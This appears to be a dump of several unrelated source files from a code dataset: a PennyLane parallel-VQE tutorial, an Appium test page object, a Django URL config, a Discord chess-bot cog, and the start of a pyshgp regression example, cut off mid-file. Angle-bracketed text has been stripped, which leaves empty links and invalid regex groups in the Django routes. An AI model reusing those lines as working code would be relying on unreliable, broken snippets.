:mod:`~.pennylane_qchem.qchem` package. Further details on the mapping from the electronic\r\n# Hamiltonian of a molecule to a qubit Hamiltonian can be found in the\r\n# :doc:`tutorial_quantum_chemistry` and :doc:`tutorial_vqe`\r\n# tutorials.\r\n#\r\n# We begin by creating a dictionary containing a selection of bond lengths and corresponding data\r\n# files saved in `XYZ `__ format. These files\r\n# follow a standard format for specifying the geometry of a molecule and can be downloaded as a\r\n# Zip from :download:`here <../demonstrations/vqe_parallel/vqe_parallel.zip>`.\r\n\r\ndata = { # keys: atomic separations (in Angstroms), values: corresponding files\r\n 0.3: \"vqe_parallel/h2_0.30.xyz\",\r\n 0.5: \"vqe_parallel/h2_0.50.xyz\",\r\n 0.7: \"vqe_parallel/h2_0.70.xyz\",\r\n 0.9: \"vqe_parallel/h2_0.90.xyz\",\r\n 1.1: \"vqe_parallel/h2_1.10.xyz\",\r\n 1.3: \"vqe_parallel/h2_1.30.xyz\",\r\n 1.5: \"vqe_parallel/h2_1.50.xyz\",\r\n 1.7: \"vqe_parallel/h2_1.70.xyz\",\r\n 1.9: \"vqe_parallel/h2_1.90.xyz\",\r\n 2.1: \"vqe_parallel/h2_2.10.xyz\",\r\n}\r\n\r\n##############################################################################\r\n# The next step is to create the qubit Hamiltonians for each value of the inter-atomic distance.\r\n\r\nhamiltonians = []\r\n\r\nfor separation, file in data.items():\r\n h, nr_qubits = qchem.generate_hamiltonian(\r\n mol_name=str(separation),\r\n mol_geo_file=file,\r\n mol_charge=0,\r\n multiplicity=1,\r\n basis_set=\"sto-3g\",\r\n )\r\n\r\n hamiltonians.append(h)\r\n\r\n##############################################################################\r\n# Each Hamiltonian can be written as a linear combination of fifteen tensor products of Pauli\r\n# matrices. Let's take a look more closely at one of the Hamiltonians:\r\n\r\nh = hamiltonians[0]\r\n\r\nprint(\"Number of terms: {}\\n\".format(len(h.ops)))\r\nfor op in h.ops:\r\n print(\"Measurement {} on wires {}\".format(op.name, op.wires))\r\n\r\n##############################################################################\r\n# Defining the energy function\r\n# ----------------------------\r\n#\r\n# The fifteen Pauli terms comprising each Hamiltonian can conventionally be evaluated in a\r\n# sequential manner: we evaluate one expectation value at a time before moving on to the next.\r\n# However, this task is highly suited to parallelization. With access to multiple QPUs,\r\n# we can split up evaluating the terms between the QPUs and gain an increase in processing speed.\r\n#\r\n#\r\n# .. note::\r\n# Some of the Pauli terms commute, and so they can be evaluated in practice with fewer than\r\n# fifteen quantum circuit runs. Nevertheless, these quantum circuit runs can still be\r\n# parallelized to multiple QPUs.\r\n#\r\n# Let's suppose we have access to two quantum devices. In this tutorial we consider two\r\n# simulators from Rigetti: ``4q-qvm`` and ``9q-square-qvm``, but we could also run on hardware\r\n# devices from Rigetti or other providers.\r\n#\r\n# We can evaluate the expectation value of each Hamiltonian with eight terms run on\r\n# one device and seven terms run on the other, as summarized by the diagram below:\r\n#\r\n# .. figure:: /demonstrations/vqe_parallel/vqe_diagram.png\r\n# :width: 65%\r\n# :align: center\r\n#\r\n# To do this, start by instantiating a device for each term:\r\n\r\ndev1 = [qml.device(\"forest.qvm\", device=\"4q-qvm\") for _ in range(8)]\r\ndev2 = [qml.device(\"forest.qvm\", device=\"9q-square-qvm\") for _ in range(7)]\r\ndevs = dev1 + dev2\r\n\r\n##############################################################################\r\n# .. note::\r\n#\r\n# For the purposes of this demonstration, we are simulating the QPUs using the\r\n# ``forest.qvm`` simulator. To run this demonstration on hardware, simply\r\n# swap ``forest.qvm`` for ``forest.qpu`` and specify the hardware device to run on.\r\n#\r\n# Please refer to the `Rigetti website `__ for an up-to-date\r\n# list on available QPUs.\r\n#\r\n# .. warning::\r\n# Rigetti's QVM and Quil Compiler services must be running for this tutorial to execute. They\r\n# can be installed by consulting the `Rigetti documentation\r\n# `__ or, for users with Docker, by running:\r\n#\r\n# .. code-block:: bash\r\n#\r\n# docker run -d -p 5555:5555 rigetti/quilc -R -p 5555\r\n# docker run -d -p 5000:5000 rigetti/qvm -S -p 5000\r\n#\r\n# We must also define a circuit to prepare the ground state, which is a superposition of the\r\n# Hartree-Fock (:math:`|1100\\rangle`) and doubly-excited (:math:`|0011\\rangle`) configurations.\r\n# The simple circuit below is able to prepare states of the form :math:`\\alpha |1100\\rangle +\r\n# \\beta |0011\\rangle` and hence encode the ground state wave function of the hydrogen molecule. The\r\n# circuit has a single free parameter, which controls a Y-rotation on the third qubit.\r\n\r\n\r\ndef circuit(param, wires):\r\n qml.BasisState(np.array([1, 1, 0, 0]), wires=[0, 1, 2, 3])\r\n qml.RY(param, wires=2)\r\n qml.CNOT(wires=[2, 3])\r\n qml.CNOT(wires=[2, 0])\r\n qml.CNOT(wires=[3, 1])\r\n\r\n\r\n##############################################################################\r\n# The ground state for each inter-atomic distance is characterized by a different Y-rotation angle.\r\n# The values of these Y-rotations can be found by minimizing the ground state energy as outlined in\r\n# :doc:`tutorial_vqe`. In this tutorial, we load pre-optimized rotations and focus on\r\n# comparing the speed of evaluating the potential energy surface with sequential and parallel\r\n# evaluation. These parameters can be downloaded by clicking :download:`here\r\n# <../demonstrations/vqe_parallel/RY_params.npy>`.\r\n\r\nparams = np.load(\"vqe_parallel/RY_params.npy\")\r\n\r\n##############################################################################\r\n# Finally, the energies as functions of rotation angle can be given using\r\n# :class:`~.pennylane.VQECost`.\r\n\r\nenergies = [qml.VQECost(circuit, h, devs) for h in hamiltonians]\r\n\r\n##############################################################################\r\n# Calculating the potential energy surface\r\n# ----------------------------------------\r\n#\r\n# :class:`~.pennylane.VQECost` returns a :class:`~.pennylane.QNodeCollection` which can be\r\n# evaluated using the input parameters to the ansatz circuit. The\r\n# :class:`~.pennylane.QNodeCollection` can be evaluated asynchronously by passing the keyword\r\n# argument ``parallel=True``. When ``parallel=False`` (the default behaviour), the QNodes are\r\n# instead evaluated sequentially.\r\n#\r\n# We can use this feature to compare the sequential and parallel times required to calculate the\r\n# potential energy surface. The following function calculates the surface:\r\n\r\n\r\ndef calculate_surface(parallel=True):\r\n s = []\r\n t0 = time.time()\r\n\r\n for i, e in enumerate(energies):\r\n print(\"Running for inter-atomic distance {} Å\".format(list(data.keys())[i]))\r\n s.append(e(params[i], parallel=parallel))\r\n\r\n t1 = time.time()\r\n\r\n print(\"Evaluation time: {0:.2f} s\".format(t1 - t0))\r\n return s, t1 - t0\r\n\r\n\r\nprint(\"Evaluating the potential energy surface sequentially\")\r\nsurface_seq, t_seq = calculate_surface(parallel=False)\r\n\r\nprint(\"\\nEvaluating the potential energy surface in parallel\")\r\nsurface_par, t_par = calculate_surface(parallel=True)\r\n\r\n##############################################################################\r\n# We have seen how a :class:`~.pennylane.QNodeCollection` can be evaluated in parallel. This results\r\n# in a speed up in processing:\r\n\r\nprint(\"Speed up: {0:.2f}\".format(t_seq / t_par))\r\n\r\n##############################################################################\r\n# Can you think of other ways to combine multiple QPUs to improve the\r\n# performance of quantum algorithms? To conclude the tutorial, let's plot the calculated\r\n# potential energy surfaces:\r\n\r\nplt.plot(surface_seq, linewidth=2.2, marker=\"o\", color=\"red\")\r\nplt.plot(surface_par, linewidth=2.2, marker=\"d\", color=\"blue\")\r\nplt.title(\"Potential energy surface for molecular hydrogen\", fontsize=12)\r\nplt.xlabel(\"Atomic separation (Å)\", fontsize=16)\r\nplt.ylabel(\"Ground state energy (Ha)\", fontsize=16)\r\nplt.grid(True)\r\n\r\n##############################################################################\r\n# These surfaces overlap, with any variation due to the limited number of shots used to evaluate the\r\n# expectation values in the ``forest.qvm`` device (we are using the default value of\r\n# ``shots=1024``).\r\n","sub_path":"demonstrations/tutorial_vqe_parallel.py","file_name":"tutorial_vqe_parallel.py","file_ext":"py","file_size_in_byte":10452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"615727712","text":"from appium.webdriver.common.mobileby import MobileBy\nimport time\nfrom library.core.BasePage import BasePage\nfrom library.core.TestLogger import TestLogger\nfrom pages import *\n\n\nclass GroupChatApprovalDetail(BasePage):\n \"\"\"群聊--审批-审批内容页面 \"\"\"\n ACTIVITY = 'com.cmcc.cmrcs.android.ui.activities.EditGroupPageActivity'\n\n __locators = {\n '返回': (MobileBy.ACCESSIBILITY_ID, 'back'),\n '关闭': (MobileBy.ACCESSIBILITY_ID, 'cc h5 ic close'),\n '请输入申请内容': (MobileBy.IOS_PREDICATE, 'value == \"请输入申请内容\"'),\n '添加审批人': (MobileBy.XPATH, '//XCUIElementTypeOther[@name=\"审批\"]/XCUIElementTypeOther[4]/XCUIElementTypeOther[3]/XCUIElementTypeOther'),\n '添加抄送人': (MobileBy.XPATH, '//XCUIElementTypeOther[@name=\"审批\"]/XCUIElementTypeOther[7]/XCUIElementTypeOther/XCUIElementTypeOther'),\n '审批转聊天': (MobileBy.XPATH, '//XCUIElementTypeOther[@name=\"审批\"]/XCUIElementTypeOther[9]'),\n '分享至当前群': (MobileBy.XPATH, '//XCUIElementTypeOther[@name=\"审批\"]/XCUIElementTypeOther[10]'),\n '提交': (MobileBy.ACCESSIBILITY_ID, '提交'),\n\n }\n\n @TestLogger.log()\n def is_on_this_page(self):\n \"\"\"当前页面是否在审批\"\"\"\n\n try:\n self.wait_until(\n timeout=15,\n auto_accept_permission_alert=True,\n condition=lambda d: self.is_text_present('我的通用审批')\n )\n return True\n except:\n return False\n\n @TestLogger.log()\n def wait_for_page_load(self, timeout=15, auto_accept_alerts=True):\n \"\"\"等待审��详情页面加载 \"\"\"\n try:\n self.wait_until(\n timeout=timeout,\n auto_accept_permission_alert=auto_accept_alerts,\n condition=lambda d: self._is_element_present(self.__class__.__locators[\"请输入申请内容\"])\n )\n except:\n message = \"页面在{}s内,没有加载成功\".format(timeout)\n raise AssertionError(\n message\n )\n return self\n\n @TestLogger.log('判断页面存在元素')\n def is_exist_element(self, locator='关闭'):\n if self._is_element_present(self.__locators[locator]):\n return True\n else:\n return False\n\n @TestLogger.log()\n def click_back(self, element='返回'):\n \"\"\"点击返回\"\"\"\n self.click_element(self.__class__.__locators[element])\n\n\n @TestLogger.log()\n def click_close_h5(self, element='关闭'):\n \"\"\"点击关闭h5页面按钮\"\"\"\n self.click_element(self.__class__.__locators[element])\n\n @TestLogger.log()\n def click_input_application_detail(self, element='请输入申请内容'):\n \"\"\"点击请输入申请内容\"\"\"\n self.click_element(self.__class__.__locators[element])\n\n @TestLogger.log()\n def input_application_detail(self, text):\n \"\"\"输入申请内容\"\"\"\n self.input_text(self.__class__.__locators['请输入申请内容'], text)\n\n @TestLogger.log()\n def click_add_approver(self, element='添加审批人'):\n \"\"\"点击添加审批人\"\"\"\n self.click_element(self.__class__.__locators[element])\n\n @TestLogger.log()\n def add_approver(self, name='大佬1'):\n \"\"\"添加审批人\"\"\"\n self.click_add_approver()\n time.sleep(2)\n SelectHeContactsDetailPage().select_one_he_contact_by_name(name)\n SelectHeContactsDetailPage().click_sure_icon()\n time.sleep(2)\n\n @TestLogger.log()\n def click_approval_change_to_chat(self):\n \"\"\"点击审批转聊天\"\"\"\n self.click_element((MobileBy.IOS_PREDICATE, 'name CONTAINS \"审批转聊天\"'))\n # self.click_element(self.__class__.__locators[element])\n time.sleep(3)\n\n @TestLogger.log()\n def click_share_to_group(self):\n \"\"\"点击分享至当前群\"\"\"\n self.click_element((MobileBy.IOS_PREDICATE, 'name CONTAINS \"分享至当前群\"'))\n # self.click_element(self.__class__.__locators[element])\n time.sleep(3)\n\n @TestLogger.log()\n def click_submit(self, element='提交'):\n \"\"\"点击提交\"\"\"\n self.click_element(self.__class__.__locators[element])\n","sub_path":"pages/groupset/GroupApprovalDetail.py","file_name":"GroupApprovalDetail.py","file_ext":"py","file_size_in_byte":4291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"581382599","text":"\"\"\"connectus URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include,re_path\nfrom django.contrib.auth import views as auth_views\nfrom . import views\n\n\napp_name_ = 'accounts'\n\nurlpatterns = [\n\n \n path('', auth_views.login, {'template_name':'accounts/starter.html'}, name=\"login\"),\n path('logout/', auth_views.logout, {'template_name':'accounts/logout.html'}, name=\"logout\"),\n path('register/', views.register, name=\"register\"),\n path('searchjobs/', views.jobsfinder, name=\"jobs-search\"),\n path('profile/', views.profile, name=\"profile\"),\n path('update/', views.update_profile, name=\"update-profile\"),\n re_path(r'^connect/(?P.+)/(?P\\d+)/$', views.change_friends, name='change_friends'),\n re_path(r'^users/$', views.view_profile, name='view_profile'),\n re_path(r'^profile/(?P\\d+)/$', views.view_profile, name='view_profile_with_pk'),\n \n]\n","sub_path":"connectus/accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"598342369","text":"from discord.ext import commands\r\n\r\nimport random\r\nimport time\r\nfrom typing import Union\r\nimport asyncio\r\nimport json\r\n\r\nimport Chess_Bot.util.Data as data\r\nimport Chess_Bot.util.Utility as util\r\nfrom Chess_Bot.util.CPP_IO import *\r\nfrom Chess_Bot.cogs.Profiles import Profile, ProfileNames\r\nfrom Chess_Bot import constants\r\n\r\n\r\nclass Engine(commands.Cog):\r\n\r\n def __init__(self, client):\r\n self.client = client\r\n\r\n @commands.command(aliases=['play', 'm'])\r\n @commands.cooldown(1, 3, commands.BucketType.user)\r\n async def move(self, ctx, move):\r\n '''\r\n {\r\n \"name\": \"move\",\r\n \"description\": \"Plays a move against the computer.\\\\nPlease enter the move in algebraic notation.\\\\nFor example, Nxe4, Nge5, c4, Ke2, etc.\\\\nMore about algebraic notation [here](https://www.chess.com/article/view/chess-notation#algebraic-notation).\\\\nYou can also enter it in UCI (universal chess interface) notation.\",\r\n \"aliases\": [\r\n \"play\",\r\n \"m\"\r\n ],\r\n \"usage\": \"$move \",\r\n \"examples\": [\r\n \"$move e4\",\r\n \"$move e7e5\",\r\n \"$move Ke2\"\r\n ],\r\n \"cooldown\": 3\r\n }\r\n '''\r\n\r\n person = ctx.author.id\r\n game = data.data_manager.get_game(person)\r\n\r\n if game == None:\r\n await ctx.send('You do not have a game in progress.')\r\n return\r\n if 'resign' in move.lower():\r\n data.data_manager.delete_game(ctx.author.id, False)\r\n\r\n old_rating, new_rating = util.update_rating(\r\n ctx.author.id, 0, game.bot)\r\n if ctx.author.id in util.thonking:\r\n util.thonking.remove(ctx.author.id)\r\n await ctx.send(f'Game resigned. Your new rating is {round(new_rating)} ({round(old_rating)} + {round(new_rating - old_rating, 2)}).\\n'\r\n 'Tip: Trying to resign? You can also use the `$resign` command.')\r\n return\r\n\r\n if isinstance(game, data.Game):\r\n if person in util.thonking:\r\n await ctx.send('Chess Bot is already thinking')\r\n return\r\n\r\n board = chess.Board(game.fen)\r\n try:\r\n board.push_san(move)\r\n except ValueError:\r\n try:\r\n board.push_uci(move)\r\n except ValueError:\r\n await ctx.send('Illegal move played. Make sure your move is in SAN or UCI notation.\\nUse `$help move` for more info.')\r\n return\r\n if board.is_checkmate():\r\n if board.turn == chess.WHITE and game.color == 0 or board.turn == chess.BLACK and game.color == 1:\r\n old_rating, new_rating = util.update_rating(\r\n ctx.author.id, 1, game.bot)\r\n data.data_manager.delete_game(person, True)\r\n await ctx.send('You won!')\r\n elif board.turn == chess.WHITE and game.color == 1 or board.turn == chess.BLACK and game.color == 0:\r\n old_rating, new_rating = util.update_rating(\r\n ctx.author.id, 0, game.bot)\r\n data.data_manager.delete_game(person, False)\r\n await ctx.send('You lost.')\r\n\r\n await ctx.send(f'Your new rating is {round(new_rating)} ({round(old_rating)} + {round(new_rating - old_rating, 2)})')\r\n return\r\n elif board.can_claim_draw():\r\n old_rating, new_rating = util.update_rating(\r\n ctx.author.id, 1/2, game.bot)\r\n await ctx.send('Draw')\r\n data.data_manager.delete_game(person, None)\r\n\r\n await ctx.send(f'Your new rating is {round(new_rating)} ({round(old_rating)} + {round(new_rating - old_rating, 2)})')\r\n return\r\n\r\n game.fen = board.fen()\r\n data.data_manager.change_game(person, game)\r\n\r\n thonk = self.client.get_emoji(constants.THONK_EMOJI_ID)\r\n await ctx.message.add_reaction(thonk)\r\n util.thonking.append(person)\r\n\r\n move, game = await run_engine(person)\r\n # If person resigned while bot was thinking\r\n if data.data_manager.get_game(person) is None:\r\n return\r\n game.last_moved = time.time()\r\n game.warned = False\r\n data.data_manager.change_game(person, game)\r\n\r\n await output_move(ctx, person, move)\r\n await log(person, self.client, ctx)\r\n if person in util.thonking:\r\n util.thonking.remove(person)\r\n\r\n board = chess.Board(game.fen)\r\n if board.is_game_over(claim_draw=True) or move == 'RESIGN':\r\n if move == 'RESIGN':\r\n await ctx.send('Chess Bot resigned')\r\n old_rating, new_rating = util.update_rating(\r\n ctx.author.id, 1, game.bot)\r\n data.data_manager.delete_game(person, True)\r\n elif board.is_checkmate():\r\n if board.turn == chess.WHITE and game.color == 0 or board.turn == chess.BLACK and game.color == 1:\r\n old_rating, new_rating = util.update_rating(\r\n ctx.author.id, 1, game.bot)\r\n data.data_manager.delete_game(person, True)\r\n await ctx.send('You won!')\r\n elif board.turn == chess.WHITE and game.color == 1 or board.turn == chess.BLACK and game.color == 0:\r\n old_rating, new_rating = util.update_rating(\r\n ctx.author.id, 0, game.bot)\r\n data.data_manager.delete_game(person, False)\r\n await ctx.send('You lost.')\r\n else:\r\n old_rating, new_rating = util.update_rating(\r\n ctx.author.id, 1/2, game.bot)\r\n await ctx.send('Draw')\r\n data.data_manager.delete_game(person, None)\r\n\r\n await ctx.send(f'Your new rating is {round(new_rating)} ({round(old_rating)} + {round(new_rating - old_rating, 2)})')\r\n elif isinstance(game, data.Game2):\r\n board = chess.Board(game.fen)\r\n color = chess.WHITE if person == game.white else chess.BLACK\r\n util2 = self.client.get_cog('Util')\r\n\r\n if board.turn != color:\r\n await ctx.send(f'It is not your turn!')\r\n return\r\n try:\r\n board.push_san(move)\r\n except ValueError:\r\n try:\r\n board.push_uci(move)\r\n except ValueError:\r\n await ctx.send('Illegal move played. Make sure your move is in SAN or UCI notation.\\nUse `$help move` for more info.')\r\n return\r\n if color == chess.WHITE:\r\n game.white_last_moved = time.time()\r\n game.white_warned = False\r\n else:\r\n game.black_last_moved = time.time()\r\n game.black_warned = False\r\n game.fen = board.fen()\r\n data.data_manager.change_game(person, game)\r\n if board.is_checkmate():\r\n white_delta, black_delta = util.update_rating2(\r\n game.white, game.black, 1 if board.turn == chess.BLACK else 0)\r\n embed = discord.Embed(\r\n title=f'{ctx.author}\\'s game', description=f'{whiteblack[not board.turn].capitalize()} won by checkmate.')\r\n path = get_image2(person, color)\r\n file = discord.File(path, filename='board.png')\r\n embed.set_image(url='attachment://board.png')\r\n await ctx.send(embed=embed, file=file)\r\n\r\n file1, embed1 = util2.make_embed(\r\n game.white, title='Your game has ended', description=f'{whiteblack[not board.turn].capitalize()} won by checkmate.\\nYour new rating is {round(data.data_manager.get_rating(game.white))} ({white_delta})')\r\n file2, embed2 = util2.make_embed(\r\n game.black, title='Your game has ended', description=f'{whiteblack[not board.turn].capitalize()} won by checkmate.\\nYour new rating is {round(data.data_manager.get_rating(game.black))} ({black_delta})')\r\n\r\n await util2.send_notif(game.white, file=file1, embed=embed1)\r\n await util2.send_notif(game.black, file=file2, embed=embed2)\r\n\r\n data.data_manager.delete_game(game.white, not board.turn)\r\n return\r\n elif board.can_claim_draw():\r\n white_delta, black_delta = util.update_rating2(\r\n game.white, game.black, 1/2)\r\n embed = discord.Embed(\r\n title=f'{ctx.author}\\'s game', description=f'Draw.')\r\n path = get_image2(person, color)\r\n file = discord.File(path, filename='board.png')\r\n embed.set_image(url='attachment://board.png')\r\n await ctx.send(embed=embed, file=file)\r\n\r\n file1, embed1 = util2.make_embed(\r\n title=f'Your game has ended', description=f'Draw.\\nYour new rating is {round(data.data_manager.get_rating(game.white))} ({white_delta})')\r\n file2, embed2 = util2.make_embed(\r\n title=f'Your game has ended', description=f'Draw.\\nYour new rating is {round(data.data_manager.get_rating(game.black))} ({black_delta})')\r\n await util2.send_notif(game.white, file=file1, embed=embed1)\r\n await util2.send_notif(game.black, file=file2, embed=embed2)\r\n\r\n data.data_manager.delete_game(game.white, 69)\r\n return\r\n\r\n game.fen = board.fen()\r\n if color == chess.WHITE:\r\n game.white_last_moved = time.time()\r\n game.white_warned = False\r\n data.data_manager.change_game(person, game)\r\n file, embed = util2.make_embed(game.white, title=f'Your game with {await util2.get_name(game.black)}', description='You have moved.')\r\n await ctx.message.reply(file=file, embed=embed)\r\n\r\n file, embed = util2.make_embed(game.black, title=f'Your game with {await util2.get_name(game.white)}', description='It is your turn')\r\n await util2.send_notif(game.black, embed=embed, file=file)\r\n else:\r\n game.black_last_moved = time.time()\r\n game.black_warned = False\r\n data.data_manager.change_game(person, game)\r\n\r\n file, embed = util2.make_embed(game.black, title=f'Your game with {await util2.get_name(game.white)}', description='You have moved.')\r\n await ctx.message.reply(file=file, embed=embed)\r\n\r\n file, embed = util2.make_embed(game.white, title=f'Your game with {await util2.get_name(game.black)}', description='It is your turn')\r\n await util2.send_notif(game.white, embed=embed, file=file)\r\n\r\n @commands.group(invoke_without_command=True)\r\n @commands.cooldown(1, 3, commands.BucketType.user)\r\n async def challenge(self, ctx):\r\n '''\r\n {\r\n \"name\": \"challenge\",\r\n \"description\": \"Challenges somebody to a game of chess. Use `$challenge bot` to challenge a bot, or `$challenge user` to challenge another person.\",\r\n \"usage\": \"$challenge\",\r\n \"examples\": [\r\n \"$challenge bot cb1\",\r\n \"$challenge bot sf3\",\r\n \"$challenge user <@person>\"\r\n ],\r\n \"cooldown\": 3,\r\n \"subcommands\": [\r\n \"bot\",\r\n \"user\"\r\n ]\r\n }\r\n '''\r\n helpcog = self.client.get_cog('Help')\r\n docstr = self.client.get_command('challenge').help\r\n kwargs = json.loads(docstr)\r\n await ctx.send(embed=helpcog.make_help_embed(**kwargs))\r\n\r\n @challenge.command()\r\n async def bot(self, ctx, bot):\r\n '''\r\n {\r\n \"name\": \"challenge bot\",\r\n \"description\": \"Challenges the bot to a game of chess.\\\\nUse `$profiles to see which bots you can challenge.\\\\nYour color is assigned randomly.\",\r\n \"usage\": \"$challenge bot \",\r\n \"examples\": [\r\n \"$challenge bot cb1\",\r\n \"$challenge bot sf3\" \r\n ],\r\n \"cooldown\": 3\r\n }\r\n '''\r\n person = ctx.author.id\r\n\r\n game = data.data_manager.get_game(person)\r\n if game is not None:\r\n await ctx.send('You already have a game in progress')\r\n return\r\n\r\n if isinstance(bot, str):\r\n try:\r\n botid = Profile[bot].value\r\n except KeyError:\r\n await ctx.send(f'\"{bot}\" is not the valid tag of a bot. Use `$profiles` to see which bots you can challenge.')\r\n return\r\n\r\n game = data.Game()\r\n game.color = random.randint(0, 1)\r\n game.bot = botid\r\n\r\n data.data_manager.change_game(person, game)\r\n\r\n await ctx.send(f'Game started with {ProfileNames[bot].value}\\nYou play the {whiteblack[game.color]} pieces.')\r\n\r\n move = None\r\n if game.color == 0:\r\n thonk = self.client.get_emoji(constants.THONK_EMOJI_ID)\r\n await ctx.message.add_reaction(thonk)\r\n util.thonking.append(person)\r\n\r\n move, game = await run_engine(person)\r\n await log(person, self.client, ctx)\r\n if person in util.thonking:\r\n util.thonking.remove(person)\r\n data.data_manager.change_game(person, game)\r\n\r\n await output_move(ctx, person, move)\r\n game.last_moved = time.time()\r\n game.warned = False\r\n data.data_manager.change_game(person, game)\r\n\r\n @challenge.command(aliases=['person'])\r\n async def user(self, ctx, person: Union[discord.Member, discord.User]):\r\n '''\r\n {\r\n \"name\": \"challenge user\",\r\n \"description\": \"Challenges another user to a game of chess.\\\\nReact with a check mark to accept a challenge, and react with an X mark to decline\\\\nThe challenge will expire in 10 minutes.\",\r\n \"usage\": \"$challenge user \",\r\n \"examples\": [\r\n \"$challenge user <@person>\" \r\n ],\r\n \"cooldown\": 3,\r\n \"aliases\": [\r\n \"person\"\r\n ]\r\n }\r\n '''\r\n\r\n if data.data_manager.get_game(ctx.author.id) is not None:\r\n await ctx.send('You already have a game in progress.')\r\n return\r\n if data.data_manager.get_game(person.id) is not None:\r\n await ctx.send(f'{person} already has a game in progress.')\r\n return\r\n if ctx.author.id == person.id:\r\n await ctx.send(f'You cannot challenge yourself.')\r\n return\r\n\r\n util2 = self.client.get_cog('Util')\r\n\r\n challenge_msg = await ctx.send((f'{person.mention}, {ctx.author} has challenged you to a game of chess.\\n'\r\n 'React with :white_check_mark: to accept.\\n'\r\n 'React with :x: to decline or withdraw your challenge.'))\r\n await challenge_msg.add_reaction('✅')\r\n await challenge_msg.add_reaction('❌')\r\n\r\n def check(reaction, user):\r\n return ((user.id == person.id and str(reaction.emoji) == '✅') or\r\n ((user.id == person.id or user.id == ctx.author.id) and str(reaction.emoji) == '❌'))\r\n\r\n try:\r\n reaction, user = await self.client.wait_for('reaction_add', timeout=600.0, check=check)\r\n except asyncio.TimeoutError:\r\n await challenge_msg.reply('Challenge timed out!')\r\n else:\r\n if str(reaction.emoji) == '❌':\r\n await challenge_msg.reply('Challenge declined / withdrawn')\r\n return\r\n \r\n if data.data_manager.get_game(ctx.author.id) is not None or data.data_manager.get_game(person.id) is not None:\r\n await challenge_msg.reply('Challenge failed. One of the people already has a game in progress.')\r\n \r\n game = data.Game2()\r\n if random.randint(0, 1) == 0:\r\n game.white = ctx.author.id\r\n game.black = person.id\r\n else:\r\n game.white = person.id\r\n game.black = ctx.author.id\r\n data.data_manager.change_game(None, game)\r\n path = get_image2(ctx.author.id)\r\n file = discord.File(path, filename='board.png')\r\n embed = discord.Embed(\r\n title='Game started!', description=f'White: {await util2.get_name(game.white)}\\nBlack: {await util2.get_name(game.black)}')\r\n embed.set_image(url='attachment://board.png')\r\n await challenge_msg.reply(f'<@{game.white}> <@{game.black}>', file=file, embed=embed)\r\n\r\n @commands.command()\r\n @commands.cooldown(1, 3, commands.BucketType.user)\r\n async def resign(self, ctx):\r\n '''\r\n {\r\n \"name\": \"resign\",\r\n \"description\": \"Resigns your current game.\",\r\n \"usage\": \"$resign\",\r\n \"examples\": [\r\n \"$resign\"\r\n ],\r\n \"cooldown\": 3\r\n }\r\n '''\r\n\r\n game = data.data_manager.get_game(ctx.author.id)\r\n\r\n if game is None:\r\n await ctx.send('You do not have a game in progress')\r\n return\r\n\r\n if isinstance(game, data.Game):\r\n data.data_manager.delete_game(ctx.author.id, False)\r\n if ctx.author.id in util.thonking:\r\n util.thonking.remove(ctx.author.id)\r\n\r\n old_rating, new_rating = util.update_rating(\r\n ctx.author.id, 0, game.bot)\r\n\r\n await ctx.send(f'Game resigned. Your new rating is {round(new_rating)} ({round(old_rating)} + {round(new_rating - old_rating, 2)})')\r\n elif isinstance(game, data.Game2):\r\n util2 = self.client.get_cog('Util')\r\n white_delta, black_delta = util.update_rating2(game.white, game.black,\r\n 0 if ctx.author.id == game.black else 1)\r\n if ctx.author.id == game.white:\r\n await ctx.send(f'Game resigned. Your new rating is {round(data.data_manager.get_rating(ctx.author.id), 3)} ({round(white_delta, 3)})')\r\n file, embed = util2.make_embed(\r\n game.black, title='Your game has ended', description=f'Your apponent has resigned. Your new rating is {round(data.data_manager.get_rating(game.black), 3)} ({round(black_delta, 3)})')\r\n await util2.send_notif(game.black, file=file, embed=embed)\r\n else:\r\n await ctx.send(f'Game resigned. Your new rating is {round(data.data_manager.get_rating(ctx.author.id), 3)} ({round(black_delta, 3)})')\r\n file, embed = util2.make_embed(\r\n game.white, title='Your game has ended', description=f'Your apponent has resigned. Your new rating is {round(data.data_manager.get_rating(game.white), 3)} ({round(white_delta, 3)})')\r\n await util2.send_notif(game.white, file=file, embed=embed)\r\n data.data_manager.delete_game(\r\n ctx.author.id, chess.WHITE if ctx.author.id == game.black else chess.BLACK)\r\n\r\n\r\ndef setup(bot):\r\n bot.add_cog(Engine(bot))\r\n","sub_path":"Chess_Bot/cogs/Engine.py","file_name":"Engine.py","file_ext":"py","file_size_in_byte":19754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"638034480","text":"# _*_ coding: utf_8 _*_\n\"\"\"\n@author: Eddie\n\nThis example problem is meant to be a demonstration of how ``pyshgp`` could be\nused to perform simple regression tasks. \n\nThe problem consists of using integer instructions and integer constants to fit\nthe following polynomial: \n\n.. literalinclude:: /../examples/integer_regression.py\n :pyobject: target_function\n\nThe training set for this problem consists of only 20 data points.\n\n\"\"\"\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport random\n\nimport pyshgp.gp.gp as gp\nimport pyshgp.push.interpreter as interp\nimport pyshgp.push.instructions.registered_instructions as ri\nimport pyshgp.push.instruction as instr\n\ndef target_function(x):\n return x**3 - (2*(x**2)) - x\n\ndef error_func(program):\n errors = []\n\n for x in range(20):\n # Create the push interpreter and run program\n interpreter = interp.PushInterpreter(inputs=[x])\n interpreter.run_push(program)\n # Get output\n top_int = interpreter.state.stacks[\"_integer\"].ref(0)\n\n if type(top_int) == int:\n # compare to target output\n target_int = target_function(x)\n # calculate error\n errors.append(abs(top_int - target_int))\n else:\n errors.append(1000)\n\n return errors\n\nproblem_params = {\n \"atom_generators\" : [ri.get_instruction('_integer_div'),\n ri.get_instruction('_integer_mult'),\n 